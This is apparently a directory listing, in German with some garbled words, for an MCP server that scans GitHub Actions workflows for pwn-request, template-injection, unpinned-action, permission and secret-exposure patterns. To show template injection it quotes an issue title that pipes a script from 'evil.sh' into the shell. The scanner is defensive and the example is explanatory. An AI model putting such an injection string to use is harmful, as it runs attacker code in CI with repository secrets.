actions-guard-mcp
actions-guard-mcp
Ein GitHub-Actions-Workflow-Sicherheitsscanner, bereitgestellt als MCP-Werkzeuge – damit ein Agent die „pwn Request“- und Supply-Chain-Muster erkennen kann, die echte Vorfälle verursacht haben (CoreShop, tj-actions und andere), bevor eine Workflow-Datei committet wird, nicht erst danach.
Warum es das gibt
Statische Analyse für GitHub-Actions-Workflows ist ein ausgereiftes, gut verstandenes Feld – zizmor ist ein angesehener, aktiv gepflegter Standalone-Scanner für genau das. Was es noch nicht gibt, ist ein ernsthafter MCP-Wrapper um diese Klasse von Analyse. Das eine Projekt, das eine breite Suche zutage förderte (github-security-mcp), verteilt 45 Prüfungen über Org-Einstellungen, Secrets, Supply Chain und Actions in einem einzigen generischen Werkzeug – 12 Sterne, keine Commits in 5 Monaten. Nichts konzentriert sich spezifisch und tiefgründig auf Workflow-Sicherheit – als etwas, das ein Agent aufrufen kann, während mit ihren gerade eine Workflow-Datei schreibt oder überprüft.
Related MCP server: vibecheck
Was es erkennt
Gefährliche Auslöser (AGMCP-101) –
pull_request_targetoderworkflow_runkombiniert mit einem Checkout-Schritt, dessenref:oderrepository:auf den eigenen Fork des auslösenden PR/Laufs verweist. Das ist exakt das Muster des Core-Vorfalls: ein Workflow, der mit dem Token und den Secrets des Basis-Repos läuft, aber Code aus dem Fork auscheckt und ausführt, der ihn ausgelöst hat.Vorlageninjektion (AGMCP-102) –
${{ ... }}-Ausdrücke, die aus angreiferkontrolliertem Kontext aufgebaut sind (github.event.issue.title,github.event.pull_request.title,github.event.comment.body,github.head_ref, eintoJSON(github.event)-Gesamtpayload-Pumpt und ähnliches) und direkt in einenrun:-Schritt interpoliert werden, statt durchenv:übergeben zu werden. Die klassische Form istrun: echo "${{ github.event.issue.title }}"– ein Issue-Titel von"; curl evil.sh | sh #ist an dieser Stelle kein String, sondern Shell.Nicht gepinnte Actions und wiederverwendbare Workflows (AGMCP-103) –
uses: owner/repo@v4(ein Tag oder Branch, beide veränderbar) statt eines gepinnten Commit-SHA; ein Job-Level-Aufruf eines wiederverwendbaren Workflows (jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main), auf dieselbe veränderbare Weise gepinnt; oder eindocker://image:tag-Verweis, der nicht auf einen@sha256:-Digest gepinnt ist. Das ist genau die Supply-Chain-Angriffsfläche, die der tj-actions-Vorfall genutzt hat: Ein kompromittiertes Tag hat alle, die es verwendeten, auf schädlichen Code verwiesen – ohne Versionssprung.Übermäßige Berechtigungen (AGMCP-104) –
permissions: write-alloder explizite breitewrite-Bereiche (contents,actions,packages, ...), gesetzt auf Workflow- oder Job-Ebene, bei einem Workflow, der auch einen riskanten Auslöser hat, wo ein engerer Bereich genügen würde.Secrets, die in die Shell interpoliert werden (AGMCP-105) –
${{ secrets.X }}direkt in einemrun:-Schritt verwendet, statt überenv:übergeben zu werden; das ist unnötige Exposition des rohen Secretwerts in die Shell-Kommandozeile beziehungsweise die Prozessliste, anstatt in eine Umgebungsvariable.
Das Matching aller Markierungen (AGMCP-101/102/105) normalisiert den Klammerschreibweise-Zugriff von GitHub Actions (github.event['issue']['title']) into the äquivalente Punktform und vergleicht unter Ignorieren der Groß-/Kleinschreibung, da die Ausdruckssprache beide als identisch behandelt.
Bekannte Einschränkungen
Das ist Pattern-Matching über den literaten Text von ${{ }}- Ausausdrücken und with:/permissions:-Blöcken – kein vollständiger GitHub-Actions-Ausdruck-Parser und keine Datenflussanalyse. Ein sauberer Scan bedeutet „kein bekanntes riskiante Muster im vorliegenden Text gefunden“, keine Garantie, dass der Workflow sicher ist. Konkret:
Keine Schritt-übergreifende /
env:-Datenflussverfolgung. Ein gefährlicher Wert, der über eine zwischengeschalteteenv:-Variable oder einen Step-Output läuft, bevor er einen Checkout-ref:- oderrun:-Befehl erreicht, bleibt für AGMCP-101/102/105 unsichtbar – es wird nur der literal Ausdruck in dem geprüften Feld untersucht.Die Liste angreifergesteuerter Kontext-Markrer (AGMCP-102) ist eine endliche, handell gepflegte Menge, keine vollständige Aufzählung jedes Kontextpfads, den GitHub Actions ausspend. Es kann ein neues oder ungefährliches Feld geben, das noch nicht gelistest ist.
Wenn ein sauberes Ergebnis für eine Sssicherheitsentscheidung zählt, behandeln es nicht als letztes Wort – zizmor führt eine tiefere, allgemainerte statische Analyse derselben Dageienkalte aus und es ist wert, neben diesen ausgeführt zu werden, nicht statdessen.
Einrichtung
pip install actions-guard-mcp
actions-guard-mcpKeine Konfiguration nötig – jedes Werzeug nimmt eine Workflow-Datei-Pfad oder ihren rohen YAML-Inhalt direkt entgagen.
Status
Frühe Entwicklungsstufe.
Lizenz
MIT
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- AlicenseAqualityDmaintenanceAn MCP server that enables AI agents to perform comprehensive GitHub security audits across org settings, repositories, Actions workflows, secrets, supply chain, and access control using 39 tools and 45 checks.3952112MIT
- AlicenseAqualityBmaintenanceAgent-native "safe to ship?" security gate for AI-generated code. Uses real parsers and inter-rocedural taint analysis (JS/TS, Python, Go) to flag the classes AI coding agents get wrong — secrets, SQL injection, SS, SSRF, path traversal, command injection, weak JWT/CORS — and ranks findings by confidence. Exposes a scan tool over MCP.162MIT
- AlicenseAqualityAmaintenanceLocal-only GitHub Actions and CI maintenance scanner for AI-built apps. Exposes scan, explanation, and fix-planning tools to MCP clients; modifies nothing and makes no outbound requests by default.3632MIT
- AlicenseAqualityBmaintenanceVerify-before-act safety tools for AI coding agents, providing MCP tools to check packages, lockfiles, manifests, and CI workflows for supply chain risks.449MIT
Related MCP Connectors
GitHub Actions workflow security audit - 21 checks: pinning, permissions, secrets, injection.
Scans MCP servers for tool poisoning, prompt injection and supply chain risks.
Screens public GitHub repos and PRs to generate risk maps, findings, and merge-readiness signals.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/BerkantACUN/actions-guard-mcp'
If you have feedback or need assistance with the MCP directory API, please join our Discord server